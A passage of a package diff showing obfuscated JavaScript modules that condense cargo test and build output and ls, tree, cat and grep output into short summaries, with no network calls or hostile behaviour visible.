_0x455b6b['push'](_0x455b6b['shift']());}catch(_0x1e6608){_0x455b6b['push'](_0x455b6b['shift']());}}}(a0_0x2ae6,0xc2bee));function a0_0x2ae6(){const _0x36a2ff=['3FVBMji','startsWith','\x20warnings','\x20failed,\x20','----\x20failures\x20----','Cargo\x20test:\x20all\x20tests\x20passed','slice','262391UHsLAs','test\x20result:\x20ok','match','161uMJNkN','endsWith','includes','split','10107VurqUa','\x20crates\x20successfully','min','defineProperty','assert','225OEkIxT','right:','7008848EYdyYx','98526HWEeak','filterCargoTest','failures:','\x20\x20...\x20+','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)','2750hCgNuT','669980NjWpNR','__esModule','\x0aWarnings:','error:','push','Cargo:\x20compiled\x20','Cargo\x20test:\x20','\x20errors,\x20','Compiling\x20','11pCBAzV','\x20passed,\x20','join','----\x20','\x20more\x20errors','trim','replace','filterCargoBuild','test\x20result:','\x20passed','\x20crates,\x20','\x20ignored','1809624aPEvNR','67900JjQTTx','length','warning[','\x20----'];a0_0x2ae6=function(){return _0x36a2ff;};return a0_0x2ae6();}Object[a0_0x4873f9(0x1c4)](exports,a0_0x4873f9(0x1d0),{'value':!![]}),exports[a0_0x4873f9(0x1ca)]=filterCargoTest,exports[a0_0x4873f9(0x1a9)]=filterCargoBuild;function filterCargoTest(_0x3dc59e){const _0x37a809=a0_0x4873f9,_0x9b4a23=_0x3dc59e[_0x37a809(0x1c0)]('\x0a');let _0x16acd9=0x0,_0x167e54=0x0,_0x37251f=0x0,_0x1e6261=0x0;const _0x3b2aaa=[];let _0x2e74df=![],_0x22b551=[];for(const _0x577660 of _0x9b4a23){const _0x3f8c21=_0x577660['trim'](),_0x42098f=_0x3f8c21[_0x37a809(0x1bc)](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x42098f){_0x16acd9+=parseInt(_0x42098f[0x2]),_0x167e54+=parseInt(_0x42098f[0x3]),_0x37251f+=parseInt(_0x42098f[0x4]),_0x1e6261+=parseInt(_0x42098f[0x5]);continue;}if(_0x3f8c21===_0x37a809(0x1cb)||_0x3f8c21===_0x37a809(0x1b7)){_0x2e74df=!![];continue;}if(_0x2e74df){if(_0x3f8c21[_0x37a809(0x1b4)](_0x37a809(0x1a5))&&_0x3f8c21[_0x37a809(0x1be)](_0x37a809(0x1b2))){if(_0x22b551[_0x37a809(0x1b0)]>0x0)_0x3b2aaa[_0x37a809(0x1d3)](_0x22b551[_0x37a809(0x1a4)]('\x0a'));_0x22b551=[_0x3f8c21[_0x37a809(0x1a8)](/^-+\s*/,'')[_0x37a809(0x1a8)](/\s*-+$/,'')];}else{if(_0x3f8c21===_0x37a809(0x1cb)||_0x3f8c21[_0x37a809(0x1b4)](_0x37a809(0x1aa))){if(_0x22b551[_0x37a809(0x1b0)]>0x0)_0x3b2aaa[_0x37a809(0x1d3)](_0x22b551[_0x37a809(0x1a4)]('\x0a'));_0x22b551=[],_0x2e74df=![];}else _0x3f8c21[_0x37a809(0x1b0)]>0x0&&_0x22b551[_0x37a809(0x1d3)](_0x577660);}}}if(_0x22b551['length']>0x0)_0x3b2aaa[_0x37a809(0x1d3)](_0x22b551['join']('\x0a'));if(_0x16acd9===0x0&&_0x167e54===0x0&&_0x37251f===0x0){if(_0x3dc59e[_0x37a809(0x1bf)](_0x37a809(0x1bb)))return _0x37a809(0x1b8);return _0x3dc59e;}if(_0x167e54===0x0){const _0x30a516=['Cargo\x20test:\x20'+_0x16acd9+_0x37a809(0x1ab)];if(_0x37251f>0x0)_0x30a516[_0x37a809(0x1d3)](_0x37251f+_0x37a809(0x1ad));return _0x30a516[_0x37a809(0x1a4)](',\x20');}const _0x19abdf=[_0x37a809(0x1d5)+_0x16acd9+_0x37a809(0x1d9)+_0x167e54+_0x37a809(0x1b6)+_0x37251f+'\x20ignored'];if(_0x3b2aaa['length']>0x0){_0x19abdf[_0x37a809(0x1d3)]('\x0aFailures:');const _0x26993d=0x3;for(let _0x4716ec=0x0;_0x4716ec<Math[_0x37a809(0x1c3)](_0x3b2aaa[_0x37a809(0x1b0)],_0x26993d);_0x4716ec++){const _0x310a7d=_0x3b2aaa[_0x4716ec][_0x37a809(0x1c0)]('\x0a');_0x19abdf[_0x37a809(0x1d3)]('\x20\x20'+(_0x4716ec+0x1)+'.\x20'+_0x310a7d[0x0]);const _0xcaa3cf=_0x310a7d['slice'](0x1),_0x1c31b4=_0xcaa3cf['filter'](_0x4cf320=>_0x4cf320[_0x37a809(0x1a7)]()['startsWith']('thread')||_0x4cf320[_0x37a809(0x1bf)]('panicked')||_0x4cf320[_0x37a809(0x1bf)](_0x37a809(0x1c5))||_0x4cf320[_0x37a809(0x1bf)]('left:')||_0x4cf320[_0x37a809(0x1bf)](_0x37a809(0x1c7)));for(const _0x4e70fc of _0x1c31b4['slice'](0x0,0x5)){_0x19abdf[_0x37a809(0x1d3)]('\x20\x20\x20\x20'+_0x4e70fc[_0x37a809(0x1a7)]());}}_0x3b2aaa[_0x37a809(0x1b0)]>_0x26993d&&_0x19abdf['push'](_0x37a809(0x1cc)+(_0x3b2aaa['length']-_0x26993d)+'\x20more\x20failures');}return _0x19abdf['join']('\x0a');}function filterCargoBuild(_0x2ff629){const _0x54746a=a0_0x4873f9,_0x40b855=_0x2ff629[_0x54746a(0x1c0)]('\x0a'),_0x41c838=[],_0x15efc5=[];let _0x29bbdf=0x0;for(const _0x12b778 of _0x40b855){const _0x3eee1a=_0x12b778[_0x54746a(0x1a7)]();if(_0x3eee1a[_0x54746a(0x1b4)](_0x54746a(0x1d7)))_0x29bbdf++;else{if(_0x3eee1a[_0x54746a(0x1b4)](_0x54746a(0x1b1))||_0x3eee1a[_0x54746a(0x1b4)]('warning:'))_0x41c838[_0x54746a(0x1d3)](_0x3eee1a);else{if(_0x3eee1a[_0x54746a(0x1b4)]('error[')||_0x3eee1a[_0x54746a(0x1b4)](_0x54746a(0x1d2)))_0x15efc5[_0x54746a(0x1d3)](_0x3eee1a);}}}if(_0x15efc5[_0x54746a(0x1b0)]===0x0&&_0x41c838[_0x54746a(0x1b0)]===0x0)return _0x29bbdf>0x0?_0x54746a(0x1d4)+_0x29bbdf+_0x54746a(0x1c2):_0x2ff629[_0x54746a(0x1a7)]();const _0x44c97c=[];if(_0x15efc5[_0x54746a(0x1b0)]>0x0){_0x44c97c[_0x54746a(0x1d3)]('Cargo:\x20'+_0x15efc5[_0x54746a(0x1b0)]+_0x54746a(0x1d6)+_0x41c838[_0x54746a(0x1b0)]+_0x54746a(0x1b5)),_0x44c97c[_0x54746a(0x1d3)]('\x0aErrors:');for(const _0x2fc013 of _0x15efc5[_0x54746a(0x1b9)](0x0,0x5))_0x44c97c['push']('\x20\x20'+_0x2fc013);if(_0x15efc5[_0x54746a(0x1b0)]>0x5)_0x44c97c[_0x54746a(0x1d3)](_0x54746a(0x1cc)+(_0x15efc5[_0x54746a(0x1b0)]-0x5)+_0x54746a(0x1a6));}else _0x44c97c[_0x54746a(0x1d3)]('Cargo:\x20compiled\x20'+_0x29bbdf+_0x54746a(0x1ac)+_0x41c838[_0x54746a(0x1b0)]+_0x54746a(0x1b5));if(_0x41c838[_0x54746a(0x1b0)]>0x0&&_0x41c838[_0x54746a(0x1b0)]<=0x5){_0x44c97c['push'](_0x54746a(0x1d1));for(const _0x3d5a9d of _0x41c838)_0x44c97c['push']('\x20\x20'+_0x3d5a9d);}else _0x41c838[_0x54746a(0x1b0)]>0x5&&_0x44c97c[_0x54746a(0x1d3)]('\x0a('+_0x41c838['length']+_0x54746a(0x1cd));return _0x44c97c['join']('\x0a');}
1
+ 'use strict';function a0_0x1d91(){const _0x453b56=['\x0aErrors:','221005AtLhiK','replace','failures:','thread','Cargo\x20test:\x20all\x20tests\x20passed','assert','startsWith','split','filterCargoTest','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)','error[','\x0aFailures:','\x20warnings','left:','Cargo:\x20','54676wswieO','632856vdtSBW','\x20\x20...\x20+','511020SdrqEy','\x20more\x20errors','test\x20result:','match','----\x20','\x20ignored','\x20\x20\x20\x20','597942UZvgZn','length','44296DfQwbq','warning[','16aUgwkB','min','Cargo\x20test:\x20','\x20failed,\x20','----\x20failures\x20----','\x20errors,\x20','join','\x20passed','\x20crates,\x20','warning:','test\x20result:\x20ok','683106MsYlJw','push','\x20crates\x20successfully','trim','filter','Compiling\x20','Cargo:\x20compiled\x20','slice','filterCargoBuild','includes'];a0_0x1d91=function(){return _0x453b56;};return a0_0x1d91();}const a0_0x4b29a7=a0_0x526b;(function(_0x536265,_0x3fec23){const _0x5df35b=a0_0x526b,_0x3778a5=_0x536265();while(!![]){try{const _0x2c2b20=-parseInt(_0x5df35b(0x194))/0x1+-parseInt(_0x5df35b(0x17c))/0x2+parseInt(_0x5df35b(0x189))/0x3+-parseInt(_0x5df35b(0x1a3))/0x4+-parseInt(_0x5df35b(0x1a6))/0x5+parseInt(_0x5df35b(0x17a))/0x6+-parseInt(_0x5df35b(0x1a4))/0x7*(-parseInt(_0x5df35b(0x17e))/0x8);if(_0x2c2b20===_0x3fec23)break;else _0x3778a5['push'](_0x3778a5['shift']());}catch(_0x50dee4){_0x3778a5['push'](_0x3778a5['shift']());}}}(a0_0x1d91,0x2469d));Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x4b29a7(0x19c)]=filterCargoTest,exports[a0_0x4b29a7(0x191)]=filterCargoBuild;function filterCargoTest(_0x1c3c0a){const _0x1da4c3=a0_0x4b29a7,_0x50a498=_0x1c3c0a[_0x1da4c3(0x19b)]('\x0a');let _0x5d4a2a=0x0,_0x7be01a=0x0,_0xf8b38b=0x0,_0x4b636e=0x0;const _0x15a180=[];let _0x536afa=![],_0x8f7d12=[];for(const _0x209bc9 of _0x50a498){const _0x41ac4d=_0x209bc9[_0x1da4c3(0x18c)](),_0x52fd34=_0x41ac4d[_0x1da4c3(0x1a9)](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x52fd34){_0x5d4a2a+=parseInt(_0x52fd34[0x2]),_0x7be01a+=parseInt(_0x52fd34[0x3]),_0xf8b38b+=parseInt(_0x52fd34[0x4]),_0x4b636e+=parseInt(_0x52fd34[0x5]);continue;}if(_0x41ac4d===_0x1da4c3(0x196)||_0x41ac4d===_0x1da4c3(0x182)){_0x536afa=!![];continue;}if(_0x536afa){if(_0x41ac4d[_0x1da4c3(0x19a)](_0x1da4c3(0x1aa))&&_0x41ac4d['endsWith']('\x20----')){if(_0x8f7d12['length']>0x0)_0x15a180[_0x1da4c3(0x18a)](_0x8f7d12['join']('\x0a'));_0x8f7d12=[_0x41ac4d[_0x1da4c3(0x195)](/^-+\s*/,'')['replace'](/\s*-+$/,'')];}else{if(_0x41ac4d===_0x1da4c3(0x196)||_0x41ac4d[_0x1da4c3(0x19a)](_0x1da4c3(0x1a8))){if(_0x8f7d12['length']>0x0)_0x15a180[_0x1da4c3(0x18a)](_0x8f7d12[_0x1da4c3(0x184)]('\x0a'));_0x8f7d12=[],_0x536afa=![];}else _0x41ac4d[_0x1da4c3(0x17b)]>0x0&&_0x8f7d12[_0x1da4c3(0x18a)](_0x209bc9);}}}if(_0x8f7d12[_0x1da4c3(0x17b)]>0x0)_0x15a180[_0x1da4c3(0x18a)](_0x8f7d12[_0x1da4c3(0x184)]('\x0a'));if(_0x5d4a2a===0x0&&_0x7be01a===0x0&&_0xf8b38b===0x0){if(_0x1c3c0a[_0x1da4c3(0x192)](_0x1da4c3(0x188)))return _0x1da4c3(0x198);return _0x1c3c0a;}if(_0x7be01a===0x0){const _0x48ad65=[_0x1da4c3(0x180)+_0x5d4a2a+_0x1da4c3(0x185)];if(_0xf8b38b>0x0)_0x48ad65[_0x1da4c3(0x18a)](_0xf8b38b+_0x1da4c3(0x1ab));return _0x48ad65[_0x1da4c3(0x184)](',\x20');}const _0x2b2ad6=[_0x1da4c3(0x180)+_0x5d4a2a+'\x20passed,\x20'+_0x7be01a+_0x1da4c3(0x181)+_0xf8b38b+_0x1da4c3(0x1ab)];if(_0x15a180[_0x1da4c3(0x17b)]>0x0){_0x2b2ad6[_0x1da4c3(0x18a)](_0x1da4c3(0x19f));const _0x35e5e9=0x3;for(let _0x244f12=0x0;_0x244f12<Math[_0x1da4c3(0x17f)](_0x15a180[_0x1da4c3(0x17b)],_0x35e5e9);_0x244f12++){const _0x51f667=_0x15a180[_0x244f12][_0x1da4c3(0x19b)]('\x0a');_0x2b2ad6[_0x1da4c3(0x18a)]('\x20\x20'+(_0x244f12+0x1)+'.\x20'+_0x51f667[0x0]);const _0x12b275=_0x51f667[_0x1da4c3(0x190)](0x1),_0x47251c=_0x12b275[_0x1da4c3(0x18d)](_0x4d6d06=>_0x4d6d06[_0x1da4c3(0x18c)]()[_0x1da4c3(0x19a)](_0x1da4c3(0x197))||_0x4d6d06[_0x1da4c3(0x192)]('panicked')||_0x4d6d06[_0x1da4c3(0x192)](_0x1da4c3(0x199))||_0x4d6d06[_0x1da4c3(0x192)](_0x1da4c3(0x1a1))||_0x4d6d06[_0x1da4c3(0x192)]('right:'));for(const _0x47e924 of _0x47251c[_0x1da4c3(0x190)](0x0,0x5)){_0x2b2ad6[_0x1da4c3(0x18a)](_0x1da4c3(0x1ac)+_0x47e924['trim']());}}_0x15a180[_0x1da4c3(0x17b)]>_0x35e5e9&&_0x2b2ad6[_0x1da4c3(0x18a)]('\x20\x20...\x20+'+(_0x15a180['length']-_0x35e5e9)+'\x20more\x20failures');}return _0x2b2ad6[_0x1da4c3(0x184)]('\x0a');}function a0_0x526b(_0x1ec4aa,_0x57e519){_0x1ec4aa=_0x1ec4aa-0x17a;const _0x1d918a=a0_0x1d91();let _0x526b33=_0x1d918a[_0x1ec4aa];return _0x526b33;}function filterCargoBuild(_0x520227){const _0x541345=a0_0x4b29a7,_0x4c25a0=_0x520227['split']('\x0a'),_0x183540=[],_0x472916=[];let _0x1d54dc=0x0;for(const _0x996468 of _0x4c25a0){const _0x96a92b=_0x996468[_0x541345(0x18c)]();if(_0x96a92b[_0x541345(0x19a)](_0x541345(0x18e)))_0x1d54dc++;else{if(_0x96a92b[_0x541345(0x19a)](_0x541345(0x17d))||_0x96a92b[_0x541345(0x19a)](_0x541345(0x187)))_0x183540['push'](_0x96a92b);else{if(_0x96a92b[_0x541345(0x19a)](_0x541345(0x19e))||_0x96a92b[_0x541345(0x19a)]('error:'))_0x472916[_0x541345(0x18a)](_0x96a92b);}}}if(_0x472916[_0x541345(0x17b)]===0x0&&_0x183540[_0x541345(0x17b)]===0x0)return _0x1d54dc>0x0?'Cargo:\x20compiled\x20'+_0x1d54dc+_0x541345(0x18b):_0x520227[_0x541345(0x18c)]();const _0x242f5e=[];if(_0x472916[_0x541345(0x17b)]>0x0){_0x242f5e[_0x541345(0x18a)](_0x541345(0x1a2)+_0x472916[_0x541345(0x17b)]+_0x541345(0x183)+_0x183540['length']+'\x20warnings'),_0x242f5e['push'](_0x541345(0x193));for(const _0x3af7c7 of _0x472916['slice'](0x0,0x5))_0x242f5e['push']('\x20\x20'+_0x3af7c7);if(_0x472916[_0x541345(0x17b)]>0x5)_0x242f5e[_0x541345(0x18a)](_0x541345(0x1a5)+(_0x472916[_0x541345(0x17b)]-0x5)+_0x541345(0x1a7));}else _0x242f5e[_0x541345(0x18a)](_0x541345(0x18f)+_0x1d54dc+_0x541345(0x186)+_0x183540[_0x541345(0x17b)]+_0x541345(0x1a0));if(_0x183540['length']>0x0&&_0x183540[_0x541345(0x17b)]<=0x5){_0x242f5e['push']('\x0aWarnings:');for(const _0x195194 of _0x183540)_0x242f5e['push']('\x20\x20'+_0x195194);}else _0x183540[_0x541345(0x17b)]>0x5&&_0x242f5e[_0x541345(0x18a)]('\x0a('+_0x183540['length']+_0x541345(0x19d));return _0x242f5e[_0x541345(0x184)]('\x0a');}
package/filters/shell.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x3c4f3e=a0_0x1f03;(function(_0x5e9f84,_0x3e130f){const _0x3169e0=a0_0x1f03,_0x41203e=_0x5e9f84();while(!![]){try{const _0x4e6e8c=parseInt(_0x3169e0(0x1f4))/0x1+-parseInt(_0x3169e0(0x207))/0x2*(-parseInt(_0x3169e0(0x208))/0x3)+-parseInt(_0x3169e0(0x1f2))/0x4*(-parseInt(_0x3169e0(0x1e9))/0x5)+-parseInt(_0x3169e0(0x1fe))/0x6*(-parseInt(_0x3169e0(0x1e1))/0x7)+-parseInt(_0x3169e0(0x204))/0x8+parseInt(_0x3169e0(0x1e5))/0x9+parseInt(_0x3169e0(0x1ee))/0xa*(-parseInt(_0x3169e0(0x20b))/0xb);if(_0x4e6e8c===_0x3e130f)break;else _0x41203e['push'](_0x41203e['shift']());}catch(_0x3805da){_0x41203e['push'](_0x41203e['shift']());}}}(a0_0x1649,0x7adf9));Object[a0_0x3c4f3e(0x1ea)](exports,a0_0x3c4f3e(0x1ec),{'value':!![]}),exports[a0_0x3c4f3e(0x206)]=filterLs,exports[a0_0x3c4f3e(0x202)]=filterTree,exports[a0_0x3c4f3e(0x1f0)]=filterCat,exports[a0_0x3c4f3e(0x1eb)]=filterGrep;function a0_0x1649(){const _0x58d1dd=['\x20matches\x20in\x20this\x20file)','\x20more\x20directories','push','8334891oXYcnm','\x20lines\x20truncated]\x20...\x0a','\x20matches\x20across\x20','\x20more\x20files','20EQNZcK','defineProperty','filterGrep','__esModule','trim','15243670bwJNEa','slice','filterCat','Empty\x20directory','956392XLVtOu','keys','473267GkOFQu','\x20directories,\x20','match','\x20more\x20files\x20with\x20matches','total\x20','length','endsWith','includes','\x0a...\x20[','\x20more\x20matches','25698fsDDQO','split','startsWith','\x20files)','filterTree','indexOf','5930240eecKOJ','join','filterLs','11300Cmapxy','183cbULyE','substring','filter','11ojpfBq','...\x20+','\x0a...\x20(','112NFxYhZ'];a0_0x1649=function(){return _0x58d1dd;};return a0_0x1649();}function a0_0x1f03(_0x3b8968,_0x165712){const _0x16498f=a0_0x1649();return a0_0x1f03=function(_0x1f03be,_0x2e882d){_0x1f03be=_0x1f03be-0x1df;let _0x34a6ab=_0x16498f[_0x1f03be];return _0x34a6ab;},a0_0x1f03(_0x3b8968,_0x165712);}function filterLs(_0x2d7ed6){const _0x3f022d=a0_0x3c4f3e,_0x2d9b60=_0x2d7ed6['split']('\x0a')[_0x3f022d(0x20a)](_0x5589da=>_0x5589da['trim']()[_0x3f022d(0x1f9)]>0x0);if(_0x2d9b60[_0x3f022d(0x1f9)]===0x0)return _0x3f022d(0x1f1);if(_0x2d9b60[_0x3f022d(0x1f9)]<=0x1e)return _0x2d7ed6[_0x3f022d(0x1ed)]();const _0x27c1e5=[],_0x4cd7e7=[];for(const _0x5251d1 of _0x2d9b60){const _0x29de68=_0x5251d1[_0x3f022d(0x1ed)]();if(_0x29de68[_0x3f022d(0x200)](_0x3f022d(0x1f8))||_0x29de68[_0x3f022d(0x200)]('d')&&_0x29de68[_0x3f022d(0x1fb)]('..'))continue;_0x29de68[_0x3f022d(0x1fa)]('/')||_0x29de68['startsWith']('d')&&_0x29de68[_0x3f022d(0x1fb)]('\x20')?_0x27c1e5[_0x3f022d(0x1e4)](_0x29de68):_0x4cd7e7[_0x3f022d(0x1e4)](_0x29de68);}const _0x1a9fd0=[];return _0x27c1e5['length']>0x0&&(_0x27c1e5[_0x3f022d(0x1f9)]<=0xf?_0x1a9fd0[_0x3f022d(0x1e4)](..._0x27c1e5):(_0x1a9fd0[_0x3f022d(0x1e4)](..._0x27c1e5[_0x3f022d(0x1ef)](0x0,0xa)),_0x1a9fd0[_0x3f022d(0x1e4)](_0x3f022d(0x1df)+(_0x27c1e5['length']-0xa)+_0x3f022d(0x1e3)))),_0x4cd7e7[_0x3f022d(0x1f9)]>0x0&&(_0x4cd7e7[_0x3f022d(0x1f9)]<=0x14?_0x1a9fd0[_0x3f022d(0x1e4)](..._0x4cd7e7):(_0x1a9fd0['push'](..._0x4cd7e7[_0x3f022d(0x1ef)](0x0,0xf)),_0x1a9fd0[_0x3f022d(0x1e4)](_0x3f022d(0x1df)+(_0x4cd7e7[_0x3f022d(0x1f9)]-0xf)+_0x3f022d(0x1e8)))),_0x1a9fd0['push']('\x0a('+_0x27c1e5[_0x3f022d(0x1f9)]+_0x3f022d(0x1f5)+_0x4cd7e7['length']+_0x3f022d(0x201)),_0x1a9fd0[_0x3f022d(0x205)]('\x0a');}function filterTree(_0x11d26e){const _0x12381c=a0_0x3c4f3e,_0x3a091a=_0x11d26e['split']('\x0a');if(_0x3a091a['length']<=0x32)return _0x11d26e[_0x12381c(0x1ed)]();const _0x2ee270=[];let _0x55face=0x0,_0xe76f51=0x0,_0x53f8ca=0x0;for(const _0x4980ea of _0x3a091a){const _0x975291=_0x4980ea[_0x12381c(0x1f6)](/(\d+)\s+director/),_0x2e4cab=_0x4980ea[_0x12381c(0x1f6)](/(\d+)\s+file/);if(_0x975291)_0x53f8ca=parseInt(_0x975291[0x1]);if(_0x2e4cab)_0xe76f51=parseInt(_0x2e4cab[0x1]);const _0x5e9476=(_0x4980ea[_0x12381c(0x1f6)](/^[│├└\s─]+/)||[''])[0x0]['length'];_0x5e9476<=0x4&&(_0x2ee270[_0x12381c(0x1e4)](_0x4980ea),_0x55face++);}return _0x3a091a[_0x12381c(0x1f9)]>_0x2ee270[_0x12381c(0x1f9)]&&_0x2ee270[_0x12381c(0x1e4)](_0x12381c(0x1e0)+_0x53f8ca+_0x12381c(0x1f5)+_0xe76f51+'\x20files\x20total\x20—\x20deep\x20entries\x20truncated)'),_0x2ee270[_0x12381c(0x205)]('\x0a');}function filterCat(_0x209ed6){const _0x545cc=a0_0x3c4f3e,_0x438776=_0x209ed6[_0x545cc(0x1ff)]('\x0a');if(_0x438776[_0x545cc(0x1f9)]<=0x64)return _0x209ed6;const _0x44f019=[];return _0x44f019[_0x545cc(0x1e4)](..._0x438776[_0x545cc(0x1ef)](0x0,0x32)),_0x44f019[_0x545cc(0x1e4)](_0x545cc(0x1fc)+(_0x438776[_0x545cc(0x1f9)]-0x50)+_0x545cc(0x1e6)),_0x44f019[_0x545cc(0x1e4)](..._0x438776['slice'](-0x1e)),_0x44f019[_0x545cc(0x1e4)]('\x0a('+_0x438776[_0x545cc(0x1f9)]+'\x20lines\x20total)'),_0x44f019['join']('\x0a');}function filterGrep(_0x2fb1a6){const _0x14b206=a0_0x3c4f3e,_0x3dc76b=_0x2fb1a6[_0x14b206(0x1ff)]('\x0a')[_0x14b206(0x20a)](_0x52ed3c=>_0x52ed3c[_0x14b206(0x1ed)]()[_0x14b206(0x1f9)]>0x0);if(_0x3dc76b[_0x14b206(0x1f9)]===0x0)return'No\x20matches\x20found';if(_0x3dc76b['length']<=0x32)return _0x2fb1a6[_0x14b206(0x1ed)]();const _0x551496={},_0x1af35c=[];for(const _0x2f3021 of _0x3dc76b){const _0x2234dd=_0x2f3021[_0x14b206(0x203)](':');if(_0x2234dd>0x0&&_0x2234dd<0xc8){const _0x406953=_0x2f3021[_0x14b206(0x209)](0x0,_0x2234dd);if(_0x406953[_0x14b206(0x1fb)]('/')||_0x406953[_0x14b206(0x1fb)]('\x5c')||_0x406953[_0x14b206(0x1fb)]('.')){if(!_0x551496[_0x406953])_0x551496[_0x406953]=[];_0x551496[_0x406953][_0x14b206(0x1e4)](_0x2f3021['substring'](_0x2234dd+0x1)[_0x14b206(0x1ed)]());continue;}}_0x1af35c[_0x14b206(0x1e4)](_0x2f3021);}const _0x588976=[],_0x3a1473=Object[_0x14b206(0x1f3)](_0x551496);if(_0x3a1473[_0x14b206(0x1f9)]>0x0){const _0x12a303=0x14,_0x4383b4=_0x3a1473[_0x14b206(0x1ef)](0x0,_0x12a303);for(const _0x2f523f of _0x4383b4){const _0xff2e30=_0x551496[_0x2f523f];if(_0xff2e30['length']<=0x3)for(const _0x5779af of _0xff2e30){_0x588976[_0x14b206(0x1e4)](_0x2f523f+':\x20'+_0x5779af);}else _0x588976[_0x14b206(0x1e4)](_0x2f523f+':\x20'+_0xff2e30[0x0]),_0x588976[_0x14b206(0x1e4)](_0x2f523f+':\x20...\x20('+_0xff2e30['length']+_0x14b206(0x1e2));}_0x3a1473[_0x14b206(0x1f9)]>_0x12a303&&_0x588976['push'](_0x14b206(0x1df)+(_0x3a1473[_0x14b206(0x1f9)]-_0x12a303)+_0x14b206(0x1f7));}if(_0x1af35c[_0x14b206(0x1f9)]>0x0){const _0xdcd030=0x1e;_0x588976['push'](..._0x1af35c[_0x14b206(0x1ef)](0x0,_0xdcd030)),_0x1af35c[_0x14b206(0x1f9)]>_0xdcd030&&_0x588976[_0x14b206(0x1e4)](_0x14b206(0x1df)+(_0x1af35c['length']-_0xdcd030)+_0x14b206(0x1fd));}const _0xbfd2c0=_0x3dc76b['length'];return _0x588976[_0x14b206(0x1e4)]('\x0a('+_0xbfd2c0+_0x14b206(0x1e7)+(_0x3a1473[_0x14b206(0x1f9)]||'?')+_0x14b206(0x201)),_0x588976[_0x14b206(0x205)]('\x0a');}
1
+ 'use strict';const a0_0x13fcd6=a0_0x55b0;function a0_0x1660(){const _0x2fa953=['\x0a...\x20(','\x20more\x20files','3992eUyrKC','defineProperty','\x20more\x20directories','substring','9bBmZWI','104430uSpuRK','\x20matches\x20across\x20','24sIHrjK','split','Empty\x20directory','indexOf','655431XmeivM','No\x20matches\x20found','...\x20+','3547630aEXUcy','includes','filterCat','endsWith','\x20more\x20matches','267666fUBdNS','total\x20','\x20more\x20files\x20with\x20matches','\x20matches\x20in\x20this\x20file)','slice','\x20directories,\x20','trim','\x0a...\x20[','81852GdmVGl',':\x20...\x20(','2045zrCfhN','9hsyEcc','join','length','filterLs','\x20lines\x20total)','\x20files)','7063001fUhkLf','keys','startsWith','match','filter','push'];a0_0x1660=function(){return _0x2fa953;};return a0_0x1660();}(function(_0x3f8137,_0x155bfa){const _0x47e780=a0_0x55b0,_0x2a374b=_0x3f8137();while(!![]){try{const _0x1a1e4b=parseInt(_0x47e780(0x1ad))/0x1*(-parseInt(_0x47e780(0x198))/0x2)+parseInt(_0x47e780(0x188))/0x3+-parseInt(_0x47e780(0x1a9))/0x4*(parseInt(_0x47e780(0x19a))/0x5)+parseInt(_0x47e780(0x1ae))/0x6+parseInt(_0x47e780(0x190))/0x7*(-parseInt(_0x47e780(0x184))/0x8)+-parseInt(_0x47e780(0x19b))/0x9*(-parseInt(_0x47e780(0x18b))/0xa)+parseInt(_0x47e780(0x1a1))/0xb;if(_0x1a1e4b===_0x155bfa)break;else _0x2a374b['push'](_0x2a374b['shift']());}catch(_0x35c6fb){_0x2a374b['push'](_0x2a374b['shift']());}}}(a0_0x1660,0x53602));function a0_0x55b0(_0x4abc17,_0xdf2bc3){_0x4abc17=_0x4abc17-0x183;const _0x1660be=a0_0x1660();let _0x55b0c5=_0x1660be[_0x4abc17];return _0x55b0c5;}Object[a0_0x13fcd6(0x1aa)](exports,'__esModule',{'value':!![]}),exports[a0_0x13fcd6(0x19e)]=filterLs,exports['filterTree']=filterTree,exports[a0_0x13fcd6(0x18d)]=filterCat,exports['filterGrep']=filterGrep;function filterLs(_0x16d20a){const _0xbdae9a=a0_0x13fcd6,_0x435528=_0x16d20a[_0xbdae9a(0x185)]('\x0a')[_0xbdae9a(0x1a5)](_0x2336ce=>_0x2336ce['trim']()[_0xbdae9a(0x19d)]>0x0);if(_0x435528[_0xbdae9a(0x19d)]===0x0)return _0xbdae9a(0x186);if(_0x435528[_0xbdae9a(0x19d)]<=0x1e)return _0x16d20a[_0xbdae9a(0x196)]();const _0x5a578d=[],_0x2e2597=[];for(const _0x622e1e of _0x435528){const _0x4c3d57=_0x622e1e[_0xbdae9a(0x196)]();if(_0x4c3d57[_0xbdae9a(0x1a3)](_0xbdae9a(0x191))||_0x4c3d57[_0xbdae9a(0x1a3)]('d')&&_0x4c3d57['includes']('..'))continue;_0x4c3d57[_0xbdae9a(0x18e)]('/')||_0x4c3d57[_0xbdae9a(0x1a3)]('d')&&_0x4c3d57['includes']('\x20')?_0x5a578d[_0xbdae9a(0x1a6)](_0x4c3d57):_0x2e2597[_0xbdae9a(0x1a6)](_0x4c3d57);}const _0x37eee5=[];return _0x5a578d[_0xbdae9a(0x19d)]>0x0&&(_0x5a578d[_0xbdae9a(0x19d)]<=0xf?_0x37eee5['push'](..._0x5a578d):(_0x37eee5[_0xbdae9a(0x1a6)](..._0x5a578d[_0xbdae9a(0x194)](0x0,0xa)),_0x37eee5['push'](_0xbdae9a(0x18a)+(_0x5a578d['length']-0xa)+_0xbdae9a(0x1ab)))),_0x2e2597[_0xbdae9a(0x19d)]>0x0&&(_0x2e2597[_0xbdae9a(0x19d)]<=0x14?_0x37eee5[_0xbdae9a(0x1a6)](..._0x2e2597):(_0x37eee5['push'](..._0x2e2597[_0xbdae9a(0x194)](0x0,0xf)),_0x37eee5[_0xbdae9a(0x1a6)]('...\x20+'+(_0x2e2597[_0xbdae9a(0x19d)]-0xf)+_0xbdae9a(0x1a8)))),_0x37eee5[_0xbdae9a(0x1a6)]('\x0a('+_0x5a578d['length']+_0xbdae9a(0x195)+_0x2e2597[_0xbdae9a(0x19d)]+_0xbdae9a(0x1a0)),_0x37eee5[_0xbdae9a(0x19c)]('\x0a');}function filterTree(_0x4dc540){const _0x52e2f9=a0_0x13fcd6,_0x32d2a6=_0x4dc540[_0x52e2f9(0x185)]('\x0a');if(_0x32d2a6['length']<=0x32)return _0x4dc540['trim']();const _0x407060=[];let _0x4ed701=0x0,_0x53ef29=0x0,_0x5cd0f1=0x0;for(const 